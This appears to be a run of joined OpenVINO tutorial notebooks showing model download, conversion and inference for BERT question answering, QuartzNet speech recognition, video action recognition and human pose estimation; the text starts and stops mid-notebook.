# Load the model
# initialize inference engine
core = Core()
# read the network and corresponding weights from file
model = core.read_model(model=model_path, weights=model_weights_path)
# load the model on the CPU (you can use GPU as well)
compiled_model = core.compile_model(model=model, device_name="CPU")

# get input and output names of nodes
input_keys = list(compiled_model.inputs)
output_keys = list(compiled_model.outputs)

# get network input size
input_size = compiled_model.input(0).shape[1]

# Processing
# path to vocabulary file
vocab_file_path = "data/vocab.txt"

# create dictionary with words and their indices
vocab = tokens.load_vocab_file(vocab_file_path)

# define special tokens
cls_token = vocab["[CLS]"]
pad_token = vocab["[PAD]"]
sep_token = vocab["[SEP]"]


# function to load text from given urls
def load_context(sources):
    input_urls = []
    paragraphs = []
    for source in sources:
        result = parse.urlparse(source)
        if all([result.scheme, result.netloc]):
            input_urls.append(source)
        else:
            paragraphs.append(source)

    paragraphs.extend(reader.get_paragraphs(input_urls))
    # produce one big context string
    return "\n".join(paragraphs)

# Preprocessing
# generator of a sequence of inputs
def prepare_input(question_tokens, context_tokens):
    # length of question in tokens
    question_len = len(question_tokens)
    # context part size
    context_len = input_size - question_len - 3

    if context_len < 16:
        raise RuntimeError("Question is too long in comparison to input size. No space for context")

    # take parts of context with overlapping by 0.5
    for start in range(0, max(1, len(context_tokens) - context_len), context_len // 2):
        # part of context
        part_context_tokens = context_tokens[start:start + context_len]
        # input: question and context separated by special tokens
        input_ids = [cls_token] + question_tokens + [sep_token] + part_context_tokens + [sep_token]
        # 1 for any index if there is no padding token, 0 otherwise
        attention_mask = [1] * len(input_ids)
        # 0 for question tokens, 1 for context part
        token_type_ids = [0] * (question_len + 2) + [1] * (len(part_context_tokens) + 1)

        # add padding at the end
        (input_ids, attention_mask, token_type_ids), pad_number = pad(input_ids=input_ids,
                                                                      attention_mask=attention_mask,
                                                                      token_type_ids=token_type_ids)

        # create input to feed the model
        input_dict = {
            "input_ids": np.array([input_ids], dtype=np.int32),
            "attention_mask": np.array([attention_mask], dtype=np.int32),
            "token_type_ids": np.array([token_type_ids], dtype=np.int32),
        }

        # some models require additional position_ids
        if "position_ids" in [i_key.any_name for i_key in input_keys]:
            position_ids = np.arange(len(input_ids))
            input_dict["position_ids"] = np.array([position_ids], dtype=np.int32)

        yield input_dict, pad_number, start


# function to add padding
def pad(input_ids, attention_mask, token_type_ids):
    # how many padding tokens
    diff_input_size = input_size - len(input_ids)

    if diff_input_size > 0:
        # add padding to all inputs
        input_ids = input_ids + [pad_token] * diff_input_size
        attention_mask = attention_mask + [0] * diff_input_size
        token_type_ids = token_type_ids + [0] * diff_input_size

    return (input_ids, attention_mask, token_type_ids), diff_input_size

# Postprocessing
# based on https://github.com/openvinotoolkit/open_model_zoo/blob/bf03f505a650bafe8da03d2747a8b55c5cb2ef16/demos/common/python/openvino/model_zoo/model_api/models/bert.py#L163
def postprocess(output_start, output_end, question_tokens, context_tokens_start_end, padding, start_idx):

    def get_score(logits):
        out = np.exp(logits)
        return out / out.sum(axis=-1)

    # get start-end scores for context
    score_start = get_score(output_start)
    score_end = get_score(output_end)

    # index of first context token in tensor
    context_start_idx = len(question_tokens) + 2
    # index of last+1 context token in tensor
    context_end_idx = input_size - padding - 1

    # find product of all start-end combinations to find the best one
    max_score, max_start, max_end = find_best_answer_window(start_score=score_start,
                                                            end_score=score_end,
                                                            context_start_idx=context_start_idx,
                                                            context_end_idx=context_end_idx)

    # convert to context text start-end index
    max_start = context_tokens_start_end[max_start + start_idx][0]
    max_end = context_tokens_start_end[max_end + start_idx][1]

    return max_score, max_start, max_end


# based on https://github.com/openvinotoolkit/open_model_zoo/blob/bf03f505a650bafe8da03d2747a8b55c5cb2ef16/demos/common/python/openvino/model_zoo/model_api/models/bert.py#L188
def find_best_answer_window(start_score, end_score, context_start_idx, context_end_idx):
    context_len = context_end_idx - context_start_idx
    score_mat = np.matmul(
        start_score[context_start_idx:context_end_idx].reshape((context_len, 1)),
        end_score[context_start_idx:context_end_idx].reshape((1, context_len)),
    )
    # reset candidates with end before start
    score_mat = np.triu(score_mat)
    # reset long candidates (>16 words)
    score_mat = np.tril(score_mat, 16)
    # find the best start-end pair
    max_s, max_e = divmod(score_mat.flatten().argmax(), score_mat.shape[1])
    max_score = score_mat[max_s, max_e]

    return max_score, max_s, max_e

def get_best_answer(question, context):
    # convert context string to tokens
    context_tokens, context_tokens_start_end = tokens.text_to_tokens(text=context.lower(),
                                                                     vocab=vocab)
    # convert question string to tokens
    question_tokens, _ = tokens.text_to_tokens(text=question.lower(), vocab=vocab)

    results = []
    # iterate through different parts of context
    for network_input, padding, start_idx in prepare_input(question_tokens=question_tokens,
                                                           context_tokens=context_tokens):
        # get output layers
        output_start_key = compiled_model.output("output_s")
        output_end_key = compiled_model.output("output_e")

        # openvino inference
        result = compiled_model(network_input)
        # postprocess the result getting the score and context range for the answer
        score_start_end = postprocess(output_start=result[output_start_key][0],
                                      output_end=result[output_end_key][0],
                                      question_tokens=question_tokens,
                                      context_tokens_start_end=context_tokens_start_end,
                                      padding=padding,
                                      start_idx=start_idx)
        results.append(score_start_end)

    # find the highest score
    answer = max(results, key=operator.itemgetter(0))
    # return the part of the context, which is already an answer
    return context[answer[1]:answer[2]], answer[0]

# Main Processing Function
def run_question_answering(sources):
    print(f"Context: {sources}", flush=True)
    context = load_context(sources)

    if len(context) == 0:
        print("Error: Empty context or outside paragraphs")
        return

    while True:
        question = input()
        # if no question - break
        if question == "":
            break

        # measure processing time
        start_time = time.perf_counter()
        answer, score = get_best_answer(question=question, context=context)
        end_time = time.perf_counter()

        print(f"Question: {question}")
        print(f"Answer: {answer}")
        print(f"Score: {score:.2f}")
        print(f"Time: {end_time - start_time:.2f}s")

# Run on local paragraphs
sources = ["Computational complexity theory is a branch of the theory of computation in theoretical computer "
           "science that focuses on classifying computational problems according to their inherent difficulty, "
           "and relating those classes to each other. A computational problem is understood to be a task that "
           "is in principle amenable to being solved by a computer, which is equivalent to stating that the "
           "problem may be solved by mechanical application of mathematical steps, such as an algorithm."]

run_question_answering(sources)

# Run on websites
sources = ["https://en.wikipedia.org/wiki/OpenVINO"]

run_question_answering(sources)
# Imports
from pathlib import Path

import IPython.display as ipd
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
import scipy
from openvino.runtime import Core

# Settings
model_folder = "model"
download_folder = "output"
data_folder = "data"

precision = "FP16"
model_name = "quartznet-15x5-en"

# Download Model
# Check if model is already downloaded in download directory
path_to_model_weights = Path(f'{download_folder}/public/{model_name}/models')
downloaded_model_file = list(path_to_model_weights.glob('*.pth'))

if not path_to_model_weights.is_dir() or len(downloaded_model_file) == 0:
    download_command = f"omz_downloader --name {model_name} --output_dir {download_folder} --precision {precision}"
    ! $download_command

# Convert Model
# Check if model is already converted in model directory
path_to_converted_weights = Path(f'{model_folder}/public/{model_name}/{precision}/{model_name}.bin')

if not path_to_converted_weights.is_file():
    convert_command = f"omz_converter --name {model_name} --precisions {precision} --download_dir {download_folder} --output_dir {model_folder}"
    ! $convert_command

# Defining constants
audio_file_name = "edge_to_cloud.ogg"
alphabet = " abcdefghijklmnopqrstuvwxyz'~"

# Load Audio File
audio, sampling_rate = librosa.load(path=f'{data_folder}/{audio_file_name}', sr=16000)
ipd.Audio(audio, rate=sampling_rate)

# Visualise Audio File
plt.figure()
librosa.display.waveplot(y=audio, sr=sampling_rate, max_points=50000.0, x_axis='time', offset=0.0, max_sr=1000);
plt.show()
specto_audio = librosa.stft(audio)
specto_audio = librosa.amplitude_to_db(np.abs(specto_audio), ref=np.max)
print(specto_audio.shape)
librosa.display.specshow(specto_audio, sr=sampling_rate, x_axis='time', y_axis='hz');

# Change Type of Data
if max(np.abs(audio)) <= 1:
    audio = (audio * (2**15 - 1))
audio = audio.astype(np.int16)

# Convert Audio to Mel Spectrum
def audio_to_mel(audio, sampling_rate):
    assert sampling_rate == 16000, "Only 16 KHz audio supported"
    preemph = 0.97
    preemphased = np.concatenate([audio[:1], audio[1:] - preemph * audio[:-1].astype(np.float32)])

    # Calculate window length
    win_length = round(sampling_rate * 0.02)

    # Based on previously calculated window length run short-time Fourier transform
    spec = np.abs(librosa.core.spectrum.stft(preemphased, n_fft=512, hop_length=round(sampling_rate * 0.01),
                  win_length=win_length, center=True, window=scipy.signal.windows.hann(win_length), pad_mode='reflect'))

    # Create mel filter-bank, produce transformation matrix to project current values onto Mel-frequency bins
    mel_basis = librosa.filters.mel(sampling_rate, 512, n_mels=64, fmin=0.0, fmax=8000.0, htk=False)
    return mel_basis, spec


def mel_to_input(mel_basis, spec, padding=16):
    # Convert to logarithmic scale
    log_melspectrum = np.log(np.dot(mel_basis, np.power(spec, 2)) + 2 ** -24)

    # Normalize output
    normalized = (log_melspectrum - log_melspectrum.mean(1)[:, None]) / (log_melspectrum.std(1)[:, None] + 1e-5)

    # Calculate padding
    remainder = normalized.shape[1] % padding
    if remainder != 0:
        return np.pad(normalized, ((0, 0), (0, padding - remainder)))[None]
    return normalized[None]

# Run Conversion from Audio to Mel Format
mel_basis, spec = audio_to_mel(audio=audio.flatten(), sampling_rate=sampling_rate)

# Visualise Mel Spectogram
librosa.display.specshow(data=spec, sr=sampling_rate, x_axis='time', y_axis='log');
plt.show();
librosa.display.specshow(data=mel_basis, sr=sampling_rate, x_axis='linear');
plt.ylabel('Mel filter');

# Adjust Mel scale to Input
audio = mel_to_input(mel_basis=mel_basis, spec=spec)

# Load Model
ie = Core()

model = ie.read_model(
    model=f"{model_folder}/public/{model_name}/{precision}/{model_name}.xml"
)
model_input_layer = model.input(0)
shape = model_input_layer.partial_shape
shape[2] = -1
model.reshape({model_input_layer: shape})
compiled_model = ie.compile_model(model=model, device_name="CPU")

# Do Inference
output_layer_ir = compiled_model.output(0)

character_probabilities = compiled_model([audio])[output_layer_ir]

# Read Output
# Remove unnececery dimension
character_probabilities = np.squeeze(character_probabilities)

# Run argmax to pick most possible symbols
character_probabilities = np.argmax(character_probabilities, axis=1)

# Implementation of Decoding
def ctc_greedy_decode(predictions):
    previous_letter_id = blank_id = len(alphabet) - 1
    transcription = list()
    for letter_index in predictions:
        if previous_letter_id != letter_index != blank_id:
            transcription.append(alphabet[letter_index])
        previous_letter_id = letter_index
    return ''.join(transcription)

# Run Decoding and Print Output
transcription = ctc_greedy_decode(character_probabilities)
print(transcription)
# Imports
import collections
import os
import sys
import time
from typing import Tuple, List

import cv2
import numpy as np
from IPython import display
from openvino.runtime import Core
from openvino.runtime.ie_api import CompiledModel

sys.path.append("../utils")
import notebook_utils as utils

# Download the models
# Directory where model will be downloaded
base_model_dir = "model"
# Model name as named in Open Model Zoo
model_name = "action-recognition-0001"
# Selected precision (FP32, FP16, FP16-INT8)
precision = "FP16"
model_path_decoder = (
    f"model/intel/{model_name}/{model_name}-decoder/{precision}/{model_name}-decoder.xml"
)
model_path_encoder = (
    f"model/intel/{model_name}/{model_name}-encoder/{precision}/{model_name}-encoder.xml"
)
if not os.path.exists(model_path_decoder) or not os.path.exists(model_path_encoder):
    download_command = f"omz_downloader " \
                       f"--name {model_name} " \
                       f"--precision {precision} " \
                       f"--output_dir {base_model_dir}"
    ! $download_command

# Load your labels
labels = "data/kinetics.txt"

with open(labels) as f:
    labels = [line.strip() for line in f]

print(labels[0:9], np.shape(labels))

# Model Initialization function
# Initialize inference engine
ie_core = Core()


def model_init(model_path: str) -> Tuple:
    """
    Read the network and weights from file, load the
    model on the CPU and get input and output names of nodes

    :param: model: model architecture path *.xml
    :retuns:
            compiled_model: Compiled model 
            input_key: Input node for model
            output_key: Output node for model
    """

    # Read the network and corresponding weights from file
    model = ie_core.read_model(model=model_path)
    # compile the model for the CPU (you can use GPU or MYRIAD as well)
    compiled_model = ie_core.compile_model(model=model, device_name="CPU")
    # Get input and output names of nodes
    input_keys = compiled_model.input(0)
    output_keys = compiled_model.output(0)
    return input_keys, output_keys, compiled_model

# Initialization for Encoder and Decoder
# Encoder initialization
input_key_en, output_keys_en, compiled_model_en = model_init(model_path_encoder)
# Decoder initialization
input_key_de, output_keys_de, compiled_model_de = model_init(model_path_decoder)

# Get input size - Encoder
height_en, width_en = list(input_key_en.shape)[2:]
# Get input size - Decoder
frames2decode = list(input_key_de.shape)[0:][1]

# Helper functions
def center_crop(frame: np.ndarray) -> np.ndarray:
    """
    Center crop squared the original frame to standardize the input image to the encoder model

    :param frame: input frame
    :returns: center-crop-squared frame
    """
    img_h, img_w, _ = frame.shape
    min_dim = min(img_h, img_w)
    start_x = int((img_w - min_dim) / 2.0)
    start_y = int((img_h - min_dim) / 2.0)
    roi = [start_y, (start_y + min_dim), start_x, (start_x + min_dim)]
    return frame[start_y : (start_y + min_dim), start_x : (start_x + min_dim), ...], roi


def adaptive_resize(frame: np.ndarray, size: int) -> np.ndarray:
    """
     The frame going to be resized to have a height of size or a width of size

    :param frame: input frame
    :param size: input size to encoder model
    :returns: resized frame, np.array type
    """
    h, w, _ = frame.shape
    scale = size / min(h, w)
    w_scaled, h_scaled = int(w * scale), int(h * scale)
    if w_scaled == w and h_scaled == h:
        return frame
    return cv2.resize(frame, (w_scaled, h_scaled))


def decode_output(probs: np.ndarray, labels: np.ndarray, top_k: int = 3) -> np.ndarray:
    """
    Decodes top probabilities into corresponding label names

    :param probs: confidence vector for 400 actions
    :param labels: list of actions
    :param top_k: The k most probable positions in the list of labels
    :returns: decoded_labels: The k most probable actions from the labels list
              decoded_top_probs: confidence for the k most probable actions
    """
    top_ind = np.argsort(-1 * probs)[:top_k]
    out_label = np.array(labels)[top_ind.astype(int)]
    decoded_labels = [out_label[0][0], out_label[0][1], out_label[0][2]]
    top_probs = np.array(probs)[0][top_ind.astype(int)]
    decoded_top_probs = [top_probs[0][0], top_probs[0][1], top_probs[0][2]]
    return decoded_labels, decoded_top_probs


def rec_frame_display(frame: np.ndarray, roi) -> np.ndarray:
    """
    Draw a rec frame over actual frame

    :param frame: input frame
    :param roi: Region of interest, image section processed by the Encoder
    :returns: frame with drawed shape

    """

    cv2.line(frame, (roi[2] + 3, roi[0] + 3), (roi[2] + 3, roi[0] + 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[0] + 3), (roi[2] + 100, roi[0] + 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[1] - 3), (roi[3] - 3, roi[1] - 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[1] - 3), (roi[3] - 100, roi[1] - 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[0] + 3), (roi[3] - 3, roi[0] + 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[3] - 3, roi[0] + 3), (roi[3] - 100, roi[0] + 3), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[1] - 3), (roi[2] + 3, roi[1] - 100), (0, 200, 0), 2)
    cv2.line(frame, (roi[2] + 3, roi[1] - 3), (roi[2] + 100, roi[1] - 3), (0, 200, 0), 2)
    # Write ROI over actual frame
    FONT_STYLE = cv2.FONT_HERSHEY_SIMPLEX
    org = (roi[2] + 3, roi[1] - 3)
    org2 = (roi[2] + 2, roi[1] - 2)
    FONT_SIZE = 0.5
    FONT_COLOR = (0, 200, 0)
    FONT_COLOR2 = (0, 0, 0)
    cv2.putText(frame, "ROI", org2, FONT_STYLE, FONT_SIZE, FONT_COLOR2)
    cv2.putText(frame, "ROI", org, FONT_STYLE, FONT_SIZE, FONT_COLOR)
    return frame


def display_text_fnc(frame: np.ndarray, display_text: str, index: int):
    """
    Include text on the analized frame

    :param frame: input frame
    :param display_text: text to add on the frame
    :param index: index line dor adding text

    """
    # Configuration for displaying images with text
    FONT_COLOR = (255, 255, 255)
    FONT_COLOR2 = (0, 0, 0)
    FONT_STYLE = cv2.FONT_HERSHEY_DUPLEX
    FONT_SIZE = 0.7
    TEXT_VERTICAL_INTERVAL = 25
    TEXT_LEFT_MARGIN = 15
    # ROI over actual frame
    (processed, roi) = center_crop(frame)
    # Draw a ROI over actual frame
    frame = rec_frame_display(frame, roi)
    # Put text over actual frame
    text_loc = (TEXT_LEFT_MARGIN, TEXT_VERTICAL_INTERVAL * (index + 1))
    text_loc2 = (TEXT_LEFT_MARGIN + 1, TEXT_VERTICAL_INTERVAL * (index + 1) + 1)
    cv2.putText(frame, display_text, text_loc2, FONT_STYLE, FONT_SIZE, FONT_COLOR2)
    cv2.putText(frame, display_text, text_loc, FONT_STYLE, FONT_SIZE, FONT_COLOR)

# AI Functions
def preprocessing(frame: np.ndarray, size: int) -> np.ndarray:
    """
    Preparing frame before Encoder.
    The image should be scaled to its shortest dimension at "size"
    and cropped, centered, and squared so that both width and
    height have lengths "size". Frame must be transposed from
    Height-Width-Channels (HWC) to Channels-Height-Width (CHW).

    :param frame: input frame
    :param size: input size to encoder model
    :returns: resized and cropped frame
    """
    # Adaptative resize
    preprocessed = adaptive_resize(frame, size)
    # Center_crop
    (preprocessed, roi) = center_crop(preprocessed)
    # Transpose frame HWC -> CHW
    preprocessed = preprocessed.transpose((2, 0, 1))[None,]  # HWC -> CHW
    return preprocessed, roi


def encoder(
    preprocessed: np.ndarray,
    compiled_model: CompiledModel
) -> List:
    """
    Encoder Inference per frame. This function calls the network previously
    configured for the encoder model (compiled_model), extracts the data
    from the output node, and appends it in an array to be used by the decoder.

    :param: preprocessed: preprocessing frame
    :param: compiled_model: Encoder model network
    :returns: encoder_output: embedding layer that is appended with each arriving frame
    """
    output_key_en = compiled_model.output(0)
    
    # Get results on action-recognition-0001-encoder model
    infer_result_encoder = compiled_model([preprocessed])[output_key_en]
    return infer_result_encoder


def decoder(encoder_output: List, compiled_model_de: CompiledModel) -> List:
    """
    Decoder inference per set of frames. This function concatenates the embedding layer
    froms the encoder output, transpose the array to match with the decoder input size.
    Calls the network previously configured for the decoder model (compiled_model_de), extracts
    the logits and normalize those to get confidence values along specified axis.
    Decodes top probabilities into corresponding label names

    :param: encoder_output: embedding layer for 16 frames
    :param: compiled_model_de: Decoder model network
    :returns: decoded_labels: The k most probable actions from the labels list
              decoded_top_probs: confidence for the k most probable actions
    """
    # Concatenate sample_duration frames in just one array
    decoder_input = np.concatenate(encoder_output, axis=0)
    # Organize input shape vector to the Decoder (shape: [1x16x512]]
    decoder_input = decoder_input.transpose((2, 0, 1, 3))
    decoder_input = np.squeeze(decoder_input, axis=3)
    output_key_de = compiled_model_de.output(0)
    # Get results on action-recognition-0001-decoder model
    result_de = compiled_model_de([decoder_input])[output_key_de]
    # Normalize logits to get confidence values along specified axis
    probs = softmax(result_de - np.max(result_de))
    # Decodes top probabilities into corresponding label names
    decoded_labels, decoded_top_probs = decode_output(probs, labels, top_k=3)
    return decoded_labels, decoded_top_probs


def softmax(x: np.ndarray) -> np.ndarray:
    """
    Normalizes logits to get confidence values along specified axis
    x: np.array, axis=None
    """
    exp = np.exp(x)
    return exp / np.sum(exp, axis=None)

# Main Processing Function
def run_action_recognition(
    source: str = "0",
    flip: bool = True,
    use_popup: bool = False,
    compiled_model_en: CompiledModel = compiled_model_en,
    compiled_model_de: CompiledModel = compiled_model_de,
    skip_first_frames: int = 0,
):
    """
    Use the "source" webcam or video file to run the complete pipeline for action-recognition problem
    1. Create a video player to play with target fps
    2. Prepare a set of frames to be encoded-decoded
    3. Preprocess frame before Encoder
    4. Encoder Inference per frame
    5. Decoder inference per set of frames
    6. Visualize the results

    :param: source: webcam "0" or video path
    :param: flip: to be used by VideoPlayer function for flipping capture image
    :param: use_popup: False for showing encoded frames over this notebook, True for creating a popup window.
    :param: skip_first_frames: Number of frames to skip at the beginning of the video.
    :returns: display video over the notebook or in a popup window

    """
    size = height_en  # Endoder input size - From Cell 5_9
    sample_duration = frames2decode  # Decoder input size - From Cell 5_7
    # Select frames per second of your source
    fps = 30
    player = None
    try:
        # Create a video player
        player = utils.VideoPlayer(source, flip=flip, fps=fps, skip_first_frames=skip_first_frames)
        # Start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(title, cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()
        processing_time = 0
        encoder_output = []
        decoded_labels = [0, 0, 0]
        decoded_top_probs = [0, 0, 0]
        counter = 0
        # Create a text template to show inference results over video
        text_inference_template = "Infer Time:{Time:.1f}ms,{fps:.1f}FPS"
        text_template = "{label},{conf:.2f}%"

        while True:
            counter = counter + 1

            # read a frame from the video stream
            frame = player.next()
            if frame is None:
                print("Source ended")
                break

            scale = 1280 / max(frame.shape)

            # Adaptative resize for visualization
            if scale < 1:
                frame = cv2.resize(frame, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)

            # Select one frame every two for processing through the encoder.
            # After 16 frames are processed, the decoder will find the action,
            # and the label will be printed over the frames.

            if counter % 2 == 0:
                # Preprocess frame before Encoder
                (preprocessed, _) = preprocessing(frame, size)

                # Measure processing time
                start_time = time.time()

                # Encoder Inference per frame
                encoder_output.append(encoder(preprocessed, compiled_model_en))

                # Decoder inference per set of frames
                # Wait for sample duration to work with decoder model
                if len(encoder_output) == sample_duration:
                    decoded_labels, decoded_top_probs = decoder(encoder_output, compiled_model_de)
                    encoder_output = []

                # Inference has finished ... Let's to display results
                stop_time = time.time()

                # Calculate processing time
                processing_times.append(stop_time - start_time)

                # Use processing times from last 200 frames
                if len(processing_times) > 200:
                    processing_times.popleft()

                # Mean processing time [ms]
                processing_time = np.mean(processing_times) * 1000
                fps = 1000 / processing_time

            # Visualize the results
            for i in range(0, 3):
                display_text = text_template.format(
                    label=decoded_labels[i],
                    conf=decoded_top_probs[i] * 100,
                )
                display_text_fnc(frame, display_text, i)

            display_text = text_inference_template.format(Time=processing_time, fps=fps)
            display_text_fnc(frame, display_text, 3)

            # Use this workaround you experience flickering
            if use_popup:
                cv2.imshow(title, frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # Encode numpy array to jpg
                _, encoded_img = cv2.imencode(".jpg", frame, params=[cv2.IMWRITE_JPEG_QUALITY, 90])
                # Create IPython image
                i = display.Image(data=encoded_img)
                # Display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)

    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # Any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Action Recognition on a Video File
video_file = "https://archive.org/serve/ISSVideoResourceLifeOnStation720p/ISS%20Video%20Resource_LifeOnStation_720p.mp4"
run_action_recognition(source=video_file, flip=False, use_popup=False, skip_first_frames=600)

# Run Action Recognition using your webcam
run_action_recognition(source=0, flip=False, use_popup=False, skip_first_frames=0)
# Imports
import collections
import os
import sys
import time

import cv2
import numpy as np
from IPython import display
from numpy.lib.stride_tricks import as_strided
from openvino.runtime import Core

from decoder import OpenPoseDecoder

sys.path.append("../utils")
import notebook_utils as utils

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# model name as named in Open Model Zoo
model_name = "human-pose-estimation-0001"
# selected precision (FP32, FP16, FP16-INT8)
precision = "FP16-INT8"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

if not os.path.exists(model_path):
    download_command = f"omz_downloader " \
                       f"--name {model_name} " \
                       f"--precision {precision} " \
                       f"--output_dir {base_model_dir}"
    ! $download_command

# Load the model
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=model_path, weights=model_weights_path)
# load the model on the CPU (you can use GPU or MYRIAD as well)
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input and output names of nodes
input_layer = compiled_model.input(0)
output_layers = list(compiled_model.outputs)

# get input size
height, width = list(input_layer.shape)[2:]

# Processing OpenPoseDecoder
decoder = OpenPoseDecoder()

# Process Results
# 2d pooling in numpy (from: htt11ps://stackoverflow.com/a/54966908/1624463)
def pool2d(A, kernel_size, stride, padding, pool_mode="max"):
    """
    2D Pooling

    Parameters:
        A: input 2D array
        kernel_size: int, the size of the window
        stride: int, the stride of the window
        padding: int, implicit zero paddings on both sides of the input
        pool_mode: string, 'max' or 'avg'
    """
    # Padding
    A = np.pad(A, padding, mode="constant")

    # Window view of A
    output_shape = (
        (A.shape[0] - kernel_size) // stride + 1,
        (A.shape[1] - kernel_size) // stride + 1,
    )
    kernel_size = (kernel_size, kernel_size)
    A_w = as_strided(
        A,
        shape=output_shape + kernel_size,
        strides=(stride * A.strides[0], stride * A.strides[1]) + A.strides
    )
    A_w = A_w.reshape(-1, *kernel_size)

    # Return the result of pooling
    if pool_mode == "max":
        return A_w.max(axis=(1, 2)).reshape(output_shape)
    elif pool_mode == "avg":
        return A_w.mean(axis=(1, 2)).reshape(output_shape)


# non maximum suppression
def heatmap_nms(heatmaps, pooled_heatmaps):
    return heatmaps * (heatmaps == pooled_heatmaps)


# get poses from results
def process_results(img, pafs, heatmaps):
    # this processing comes from
    # https://github.com/openvinotoolkit/open_model_zoo/blob/master/demos/common/python/models/open_pose.py
    pooled_heatmaps = np.array(
        [[pool2d(h, kernel_size=3, stride=1, padding=1, pool_mode="max") for h in heatmaps[0]]]
    )
    nms_heatmaps = heatmap_nms(heatmaps, pooled_heatmaps)

    # decode poses
    poses, scores = decoder(heatmaps, nms_heatmaps, pafs)
    output_shape = list(compiled_model.output(index=0).partial_shape)
    output_scale = img.shape[1] / output_shape[3].get_length(), img.shape[0] / output_shape[2].get_length()
    # multiply coordinates by scaling factor
    poses[:, :, :2] *= output_scale
    return poses, scores

# Draw Pose Overlays
colors = ((255, 0, 0), (255, 0, 255), (170, 0, 255), (255, 0, 85), (255, 0, 170), (85, 255, 0),
          (255, 170, 0), (0, 255, 0), (255, 255, 0), (0, 255, 85), (170, 255, 0), (0, 85, 255),
          (0, 255, 170), (0, 0, 255), (0, 255, 255), (85, 0, 255), (0, 170, 255))

default_skeleton = ((15, 13), (13, 11), (16, 14), (14, 12), (11, 12), (5, 11), (6, 12), (5, 6), (5, 7),
                    (6, 8), (7, 9), (8, 10), (1, 2), (0, 1), (0, 2), (1, 3), (2, 4), (3, 5), (4, 6))


def draw_poses(img, poses, point_score_threshold, skeleton=default_skeleton):
    if poses.size == 0:
        return img

    img_limbs = np.copy(img)
    for pose in poses:
        points = pose[:, :2].astype(np.int32)
        points_scores = pose[:, 2]
        # Draw joints.
        for i, (p, v) in enumerate(zip(points, points_scores)):
            if v > point_score_threshold:
                cv2.circle(img, tuple(p), 1, colors[i], 2)
        # Draw limbs.
        for i, j in skeleton:
            if points_scores[i] > point_score_threshold and points_scores[j] > point_score_threshold:
                cv2.line(img_limbs, tuple(points[i]), tuple(points[j]), color=colors[j], thickness=4)
    cv2.addWeighted(img, 0.4, img_limbs, 0.6, 0, dst=img)
    return img

# Main Processing Function
# main processing function to run pose estimation
def run_pose_estimation(source=0, flip=False, use_popup=False, skip_first_frames=0):
    pafs_output_key = compiled_model.output("Mconv7_stage2_L1")
    heatmaps_output_key = compiled_model.output("Mconv7_stage2_L2")
    player = None
    try:
        # create video player to play with target fps
        player = utils.VideoPlayer(source, flip=flip, fps=30, skip_first_frames=skip_first_frames)
        # start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(title, cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()

        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(frame, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)

            # resize image and change dims to fit neural network input
            # (see https://github.com/openvinotoolkit/open_model_zoo/tree/master/models/intel/human-pose-estimation-0001)
            input_img = cv2.resize(frame, (width, height), interpolation=cv2.INTER_AREA)
            # create batch of images (size = 1)
            input_img = input_img.transpose((2,0,1))[np.newaxis, ...]

            # measure processing time
            start_time = time.time()
            # get results
            results = compiled_model([input_img])
            stop_time = time.time()

            pafs = results[pafs_output_key]
            heatmaps = results[heatmaps_output_key]
            # get poses from network results
            poses, scores = process_results(frame, pafs, heatmaps)

            # draw poses on a frame
            frame = draw_poses(frame, poses, 0.1)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()

            _, f_width = frame.shape[:2]
            # mean processing time [ms]
            processing_time = np.mean(processing_times) * 1000
            fps = 1000 / processing_time
            cv2.putText(frame, f"Inference time: {processing_time:.1f}ms ({fps:.1f} FPS)", (20, 40),
                        cv2.FONT_HERSHEY_COMPLEX, f_width / 1000, (0, 0, 255), 1, cv2.LINE_AA)

            # use this workaround if there is flickering
            if use_popup:
                cv2.imshow(title, frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                _, encoded_img = cv2.imencode(".jpg", frame, params=[cv2.IMWRITE_JPEG_QUALITY, 90])
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live Pose Estimation
run_pose_estimation(source=0, flip=True, use_popup=False)

# Run Pose Estimation on a Video File
video_file = "https://github.com/intel-iot-devkit/sample-videos/blob/master/store-aisle-detection.mp4?raw=true"

run_pose_estimation(video_file, flip=False, use_popup=False, skip_first_frames=500)
# Imports
import collections
import os
import sys
import time

import cv2
import numpy as np
from IPython import display
from openvino.runtime import Core

sys.path.append("../utils")
import notebook_utils as utils

# Download the Model
# directory where model will be downloaded
base_model_dir = "model"

